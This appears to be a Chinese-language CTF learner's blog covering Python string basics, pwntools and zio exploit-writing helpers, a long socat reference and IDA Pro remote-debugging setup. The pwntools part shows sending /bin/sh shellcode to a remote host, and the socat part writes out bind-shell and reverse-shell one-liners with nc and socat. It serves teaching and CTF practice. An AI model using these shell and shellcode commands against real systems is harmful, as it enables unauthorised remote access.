在Python中,用括号括起的都是字符串,其中的引号可以是单引号,也可以是双引号。
修改字符串大小写
>>> name = "ada lovelace"
>>> print(name.title())
Ada Lovelace
title()以首写字母大写的方式显示单词
name = "Ada Lovelace"
>>> print(name.upper())
ADA LOVELACE
upper()将字符串全部改为大写
print(name.lower())
ada lovelace
lower()将字符串全部改为小写。存储数据时,lower()可以将字符串先转换成小写,存储他们。在需要使用这些信息时,将他们转换为合适的大小写方向就可以了。
合并字符串
first_name = "ada"
>>> last_name = "lovelace"
>>> full_name = first_name + " " + last_name
>>> print(full_name)
ada lovelace
>>>
Python使用加号(+)合并字符串
使用制表符或换行符来添加空白
首先,空白是泛指任何非打印字符,如空格、制表符和换行符。
>>> print("\tPython")
Python
>>>
```\n\t表示让字符换到下一行,并在下一行开头添加一个制表符
## **删除空白**
额外的空白对于程序而言是两个不同的字符串。Python能够找出字符串开头和末尾多余的空白
favorite_language
'python ’favorite_language.rstrip()
‘python’
可以分别使用
lstrip()剔除字符串开头的空白
strip()同时剔除字符串两端的空白
>
> 看到Python代码以普通句子的颜色显示,或者普通句子以Python代码的颜色显示时,则意味着文件中存在引号不匹配问题。
## Pwntools
我将pwntools安装在kali—-linux下面,这个是安装教程
https://blog.csdn.net/eira_h/article/details/80982959
**pwntools库使用**
pwntools是一个ctf框架和漏洞利用开发库,用Python开发,由rapid设计,旨在让使用者简单快速的编写exploit。
基本上仿造这个格式就可以写exp了。
from pwn import *
用来导入pwntools模块
context(arch = 'i386', os = 'linux')
设置目标机的信息
r = remote('exploitme.example.com', 31337)
用来建立一个远程连接,url或者ip作为地址,然后指明端口
这里也可以仅仅使用本地文件,调试时方便:
r = process("./test")
test即为文件名,这使得改变远程和本地十分方便.
asm(shellcraft.sh())
asm()函数接收一个字符串作为参数,得到汇编码的机器代码。
比如
>>> asm('mov eax, 0')
'\xb8\x00\x00\x00\x00'
shellcraft模块是shellcode的模块,包含一些生成shellcode的函数。
其中的子模块声明架构,比如shellcraft.arm 是ARM架构的,shellcraft.amd64是AMD64架构,shellcraft.i386是Intel 80386架构的,以及有一个shellcraft.common是所有架构通用的。
而这里的shellcraft.sh()则是执行/bin/sh的shellcode了
r.send()将shellcode发送到远程连接
最后,
r.interactive()
将控制权交给用户,这样就可以使用打开的shell了
**Context设置**
context是pwntools用来~~设置环境~~ 的功能。在很多时候,由于二进制文件的情况不同,我们可能需要进行一些环境设置才能够正常运行exp,比如有一些需要进行汇编,但是32的汇编和64的汇编不同,如果不设置context会导致一些问题。
一般来说我们设置context只需要简单的一句话:
context(os='linux', arch='amd64', log_level='debug')
这句话的意思是:
1. os设置系统为linux系统,在完成ctf题目的时候,大多数pwn题目的系统都是linux
2. arch设置架构为amd64,可以简单的认为设置为64位的模式,对应的32位模式是’i386’
3. log_level设置日志输出的等级为debug,这句话在调试的时候一般会设置,这样pwntools会将完整的io过程都打印下来,使得调试更加方便,可以避免在完成CTF题目时出现一些和IO相关的错误。
**数据打包**
数据打包,即将整数值转换为32位或者64位地址一样的表示方式,比如0x400010表示为\x10\x00\x40一样,这使得我们构造payload变得很方便
用法:
* p32/p64: 打包一个整数,分别打包为32或64位
* u32/u64: 解包一个字符串,得到整数
p对应pack,打包,u对应unpack,解包,简单好记
payload = p32(0xdeadbeef) # pack 32 bits number
**数据输出**
如果需要输出一些信息,最好使用pwntools自带的,因为和pwntools本来的格式吻合,看起来也比较舒服,用法:
some_str = "hello, world"
log.info(some_str)
其中的info代表是log等级,也可以使用其他log等级。
**Cyclic Pattern**
Cyclic pattern是一个很强大的功能,大概意思就是,使用pwntools生成一个pattern,*pattern就是指一个字符串,可以通过其中的一部分数据去定位到他在一个字符串中的位置。*
*在我们完成栈溢出题目的时候,使用pattern可以大大的减少计算溢出点的时间。*
用法:
cyclic(0x100) # 生成一个0x100大小的pattern,即一个特殊的字符串
cyclic_find(0x61616161) # 找到该数据在pattern中的位置
cyclic_find('aaaa') # 查找位置也可以使用字符串去定位
比如,我们在栈溢出的时候,首先构造cyclic(0x100),或者更长长度的pattern,进行输入,输入后pc的值变为了0x61616161,*那么我们通过cyclic_find(0x61616161)就可以得到从哪一个字节开始会控制PC寄存器了,避免了很多没必要的计算。*
汇编与shellcode
有的时候我们需要在写exp的时候用到简单的shellcode,pwntools提供了对简单的shellcode的支持。
首先,常用的,也是最简单的shellcode,即调用/bin/sh可以通过shellcraft得到:
注意,由于各个平台,特别是32位和64位的shellcode不一样,所以最好先设置context。
print(shellcraft.sh()) # 打印出shellcode
不过,现在我们看到的shellcode还是汇编代码,不是能用的机器码,所以还需要进行一次汇编
print(asm(shellcraft.sh())) # 打印出汇编后的shellcode
asm可以对汇编代码进行汇编,不过pwntools目前的asm实现还有一些缺陷,比如不能支持相对跳转等等,只可以进行简单的汇编操作。如果需要更复杂一些的汇编功能,可以使用keystone-engine项目,这里就不再赘述了。
asm也是架构相关,所以一定要先设置context,避免一些意想不到的错误。
## ZIO库的使用
**连接**
本地process()、远程remote()。对于remote函数可以接url并且指定端口。
from zio import *
本地和远程连接都是:
zio(本地程序名称或者远程IP和端口号)
连接远程的时候还可以设置超时时间
比如:
zio('./pwn')
zio('127.0.0.1',4000)
zio(('127.0.0.1',4000),timeout=10000000000)
**转换函数:**
l32()和l64()
**读取和发送:**
read()
read_until()
write()
writeline()
**远程交互:**
interact()
## Socat的使用
基本语法
socat [options]
1
几个常用的描述方式如下:
STDIN,STDOUT :表示标准输入输出,可以就用一个横杠代替
/var/log/syslog : 也可以是任意路径,如果是相对路径要使用./,打开一个文件作为数据流。
TCP:: : 建立一个TCP连接作为数据流,TCP也可以替换为UDP
TCP-LISTEN: : 建立TCP监听端口,TCP也可以替换为UDP
EXEC: : 执行一个程序作为数据流。
> 在这些描述后可以附加一些选项,用逗号隔开,如fork,reuseaddr,stdin,stdout,ctty等。
**socat进行文件操作**
读取文件,*注意这里的路径必须是绝对路径*
socat - /var/www/html/flag.php
**写入文件**
echo "2333" | socat - /var/www/html/hello.html
**socat的netcat功能模块**
*远程链接端口*
nc localhost 80
socat - TCP:localhost:80
**监听端口**
nc -lp localhost 233
socat TCP-LISTEN:233
**正向shell**
nc -lp localhost 700 -e /bin/bash
socat TCP-LISTEN:700 EXEC:/bin/bash
**反弹shell**
nc localhost 700 -e /bin/bash
socat tcp-connect:localhost:700 exec:'bash -li',pty,stderr,setsid,sigint,sane
**代理与转发**
*将本地80端口转发到远程的80端口*
socat TCP-LISTEN:80,fork TCP:www.domain.org:80
SSL连接
SSL服务器
需要首先生成证书文件
socat OPENSSL-LISTEN:443,cert=/cert.pem -
SSL客户端
socat - OPENSSL:localhost:443
fork服务器
可以将一个使用标准输入输出的单进程程序变为一个使用fork方法的多进程服务
socat TCP-LISTEN:1234,reuseaddr,fork EXEC:./helloworld
不同设备的通信
socat -d -d /dev/ttyUSB1,raw,nonblock,ignoreeof,cr,echo=0 TCP4-LISTEN:5555,reuseaddr
**典型使用**
文件操作
通过 Socat 读取文件
**# 从绝对路径读取**
`$ socat - /var/www/html/flag.ph`p
**# 从相对路径读取**
$ socat - ./flag.php
注:这里的路径一般是绝对路径,*如果要使用相对路径记得要加上 ./* 。
**写入文件**
$ echo "This is Test" | socat - /tmp/hello.html
**连接远程端口**
$ socat - TCP:192.168.1.252:3306
**监听一个新端口**
$ socat TCP-LISTEN:7000 -
**端口转发**
在实际生产中我们经常会遇到到一个场景就是,用一台机器作为转发服务器,连接 AB 两个网段,将转发服务器的某个端口上的流量转发到 B 网段的某台机器的某个端口,这样 A 网段的服务器就可以通过访问转发服务器上的端口访问到 B 网段的服务器端口。
这样的场景一般在和客户建立专线的连接时候经常用到,一般也可以采用 iptables 做转发,但是比较复杂。*Socat 可以很轻松的完成这个功能,但是 Socat 不支持端口段转发,只适用于单端口或者少量端口。*
**转发 TCP**
监听 192.168.1.252 网卡的 15672 端口,并将请求转发至 172.17.0.15 的 15672 端口。
$ socat -d -d -lf /var/log/socat.log TCP4-LISTEN:15672,bind=192.168.1.252,reuseaddr,fork TCP4:172.17.0.15:15672
参数说明
1. -d -d 前面两个连续的 -d -d 代表调试信息的输出级别。
2. -lf /var/log/socat.log 指定输出信息的文件保存位置。
3. TCP4-LISTEN:15672 在本地建立一个 TCP IPv4 协议的监听端口,也就是转发端口。*这里是 15672,请根据实际情况改成你自己需要转发的端口。*
4. bind 指定监听绑定的 IP 地址,不绑定的话将监听服务器上可用的全部 IP。
5. reuseaddr 绑定一个本地端口。
6. fork TCP4:172.17.0.15:15672 指的是要转发到的服务器 IP 和端口,这里是 172.17.0.15 的 15672 端口。
转发 UDP
转发 UDP 和 TCP 类似,只要把 TCP4 改成 UDP4 就行了。
$ socat -d -d -lf /var/log/socat.log UDP4-LISTEN:123,bind=192.168.1.252,reuseaddr,fork UDP4:172.17.0.15:123
NAT 映射
在一个 NAT 网络环境中,也是可以通过 Socat 将内部机器端口映射到公网上的。
在外部公网机器上执行
$ socat tcp-listen:1234 tcp-listen:3389
在内部私网机器上执行
$ socat tcp:outerhost:1234 tcp:192.168.1.34:3389
这样,你外部机器上的 3389 就映射在内网 192.168.1.34 的 3389 端口上了。
## 文件传递
文件传送
将文件 demo.tar.gz 使用 2000 端口从 192.168.1.252 传到 192.168.1.253,文件传输完毕后会自动退出。
在 192.168.1.252 上执行
$ socat -u open:demo.tar.gz tcp-listen:2000,reuseaddr
在 192.168.1.253 上执行
$ socat -u tcp:192.168.1.252:2000 open:demo.tar.gz,create
-u 表示数据传输模式为单向,从左面参数到右面参数。
-U 表示数据传输模式为单向,从右面参数到左面参数。
**读写分流功能**
Socat 具有一个独特的读写分流功能,比如:可以实现一个假的 Web Server,客户端连过来之后就把 read.html 里面的内容传过去,同时把客户端的数据保存到 write.txt 里面。
$ socat open:read.html\!\!open:write.txt,create,append tcp-listen:8000,reuseaddr,fork
!! 符号用于合并读写流,前面的用于读,后面的用于写。由于 ! 在 Shell 中是特殊字符,所以这里在命令行中使用 \ 对其进行了转义。
**其它功能**
监听一个 TCP 端口
$ socat tcp-listen:12345 -
向 TCP 端口发送数据
$ echo "test" | socat - tcp-connect:127.0.0.1:12345
监听一个 UDP 端口
$ socat udp-listen:23456 -
向一个 UDP 端口发送数据
$ echo "test" | socat - udp-connect:127.0.0.1:23456
监听一个 Unix Socket
$ socat unix-listen:/tmp/unix.socket -
向本地 Unix Socket 发送数据
$ echo "test" | socat - unix-connect:/tmp/unix.sock
监听本地 Unix Datagram Socket
$ socat unix-recvfrom:/tmp/unix.dg.sock -
向本地 Unix Datagram Socket 发送数据
$ echo "test" | socat - unix-sendto:/tmp/unix.dg.sock
通过 Openssl 来加密传输过程
假设有一个服务器主机,地址为 server.domain.org。 并且服务端程序使用 4433 端口。为了尽可能的简单,我们使用一个非常简单的服务功能,即服务端仅回显数据(echo),客户端只进行标准输入(stdio)。要进行 Openssl 加密数据传输,首先需要生成 Openssl 证书。
建立一个正向 Shell
服务端
*在服务端 7005 端口建立一个 Shell。*
$ socat TCP-LISTEN:7005,fork,reuseaddr EXEC:/bin/bash,pty,stderr
$ socat TCP-LISTEN:7005,fork,reuseaddr system:bash,pty,stderr
客户端
#连接到服务器的 7005 端口,即可获得一个 Shell。readline 是 GNU 的命令行编辑器,具有历史功能。
$ socat readline tcp:127.0.0.1:7005
反弹一个交互式的 Shell
当有主机连接服务端的 7005 端口时,将会发送客户端的 Shell 给服务端。
在 Linux 中一切都是文件,无论是 Socket 还是其他设备。所以从理论上来说,一切能够在文件层级访问的内容都可以成为 Socat 的数据流的来源。2 个 address 可以任意发挥,能够做到的事情还有很多。这样比起来,Socket 的确比 Netcat 更加强大。
## IDA
IDA Pro:交互式反汇编器,是典型的递归下降反汇编器。
**导航条:**
蓝色 表示常规的指令函数
黑色 节与节之间的间隙
银白色 数据内容
粉色 表示外部导入符号
暗黄色 表示ida未识别的内容
**IDA主界面:**
IDA View三种反汇编视图:文本视图、图表视图、路径视图
Hex View 十六进制窗口
Imports 导入函数窗口
Struceures 结构体窗口
Exports 导出函数窗口
Enums 枚举窗口
Strings 字符串窗口
**常用功能及快捷键:**
空格键:切换文本视图与图表视图
ESC:返回上一个操作地址
G:搜索地址和符号
N:对符号进行重命名
冒号键:常规注释
分号键:可重复注释
Alt+M:添加标签
Ctrl+M:查看标签
Ctrl+S:查看段的信息
代码数据切换
C-->代码/D-->数据/A-->ascii字符串/U-->解析成未定义的内容
X:查看交叉应用
F5:查看伪代码
Alt+T:搜索文本
Alt+B:搜索十六进制
导入jni.h分析jni库函数。
伪C代码窗口:
右键
comment-注释伪c代码。
copy to -assembly-把伪c代码复制到反汇编窗口的汇编代码。
IDA可以修改so的hex来修改so,edit,然后edit-patchrogram,
建议使用winhex来实现。
## 程序调试
远程调试:当运行的程序出现问题时,我们通常通过调试来追踪和定位问题。但是,当运行错误的机器上没有调试工具,我们就需要实现远程调试。简单地说,就是要调试的程序和调试器不在一台机器上。
> 远程调试的原理就是两个VM之间通过debug协议进行通信,两者之间通过socket进行通信。
> 运行IDA PRO界面的计算机被称为“*调试器客户端*”。
运行被调试的应用程序的计算机被成为“*调试器服务器* ”。
远程调试主要用于下面一些*特殊应用*:
用于调试病毒/木马/恶意软件:通过这种方法,调试器客户端可以与可能受到这些
软件攻击的计算机隔离。
调试那些在一台计算机上运行遇到问题,而且没有被拷贝安装在其他计算机上的应
用程序。
调式分布式应用程序
始终在你的主工作站上运行,因此你无需将IDA配置、文件和不同的调试相关资源
拷贝到其它机器上。 以后,将可以在更多的操作系统和结构下调试应用程序。
讲道理,实际操作这一次,真的,真的,几经波折。首先,这次体验感来说,希望大家多用Ubuntu,我昨天用kali做的,一直不知道为什么遇到很多奇怪的问题,所以,历史的经验告诉我,不要偷懒,多装两个虚拟机,Ubuntu挺好用的哈哈哈哈哈哈。
进入正题,首先在安装Ubuntu的时候,我下了2014,2016,2018好几个镜像
我![在这里插入图片描述](https://img-blog.csdnimg.cn/20181231004053859.png)安装16,18的都特别卡,安不上,网上的资料显示,很多Windows系统带不动,所以2014好一点。安装比较流畅,然后安装的时候键盘上看不到continue键的时候,可以用Tab键找到键,我真的是醉了。。。。。从kali换Ubuntu,把Ubuntu装好就换了我很久,具体安装过程不是很难
安装完成之后,就要开始安装各种配件~~~,这个嘛socat,python的安装网上教程还是很清楚滴。
很关键的一点!!!!!安装32位库,这个一开始没装,怎么都连不上
https://blog.csdn.net/chunlongyuan/article/details/79449180我是按照这个安装的,比较容易,就是时间比较长。
好啦,安装完之后
远程调试嘛,非要把windows里面的文件拉到linux里面,同时要将ida配套的linux——server一起拖到linux虚拟机里面![在这里插入图片描述](https://img-blog.csdnimg.cn/20181230232539950.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NDMxOTE0Mg==,size_16,color_FFFFFF,t_70)
![文件拷进去之后千万养成先查看文件内容的好习惯](https://img-blog.csdnimg.cn/20181230232529524.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NDMxOTE0Mg==,size_16,color_FFFFFF,t_](https://img-blog.csdnimg.cn/20181230232614729.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NDMxOTE0Mg==,size_16,color_FFFFFF,t_70)
图一是我捣鼓了很久发现就是运行不了,最后在大佬的指点下发现复制的文件有问题,重新装了一个新的ida,重新添加linux——server才okk。
同时,也可以通过查看知道,我们要调试的程序是32位的,要用32位的ida(这也是为什么要装32位库的原因),不然会出各种问题
这几天疯狂用到的命令
1、ctrl+alt+T 进入终端
2、cd (Desktop)更改目录
3、ls ls -l 查看目录按下的文件、文件内容
4、可视化界面查看(ctrl + L) 直接找到文件路径
5、chmod +x ./()是我们可以访问
6、file 查看文件类型
7、apt-get install 软件名 安装东西
8、ifconfig 查找端口
这些完成之后打开ida,把运行程序pwn100正常拖入ida,在Debugger栏下,选择remote linux debugger 类型,然后process option设置
![这张截图的地址是错的,是我一开始调的时候的,但界面是这样,配置内容前两行填入我们上面说到的文件在linux下的存储路径,第三行只写到存储程序的文件夹。在hostname那里填我们ifconfig查到的地址](https://img-blog.csdnimg.cn/20181230234325295.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NDMxOTE0Mg==,size_16,color_FFFFFF,t_70)
这样就配置完成咯~~~,然后在linux下运行linux——server
![成功运行是长这个样子,](https://img-blog.csdnimg.cn/20181230234710939.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NDMxOTE0Mg==,size_16,color_FFFFFF,t_70)
然后,新开一个终端,运行我们要远程调试的程序
接下来就可以去ida里面attach了
![找到pwn100连接就可以了](https://img-blog.csdnimg.cn/20181230235014400.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NDMxOTE0Mg==,size_16,color_FFFFFF,t_70)
pay attention!!
一定要在linux下运行pwn100,再attach,不然,ida里面找不到pwn100的程序。
![运行成功就是这样啦!!](https://img-blog.csdnimg.cn/20181230235239347.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NDMxOTE0Mg==,size_16,color_FFFFFF,t_70)
最后在linux里面ctrl+c终止程序就可以啦~
折腾了好久,平生第一次用微信截图功能,写的有点乱,就这样啦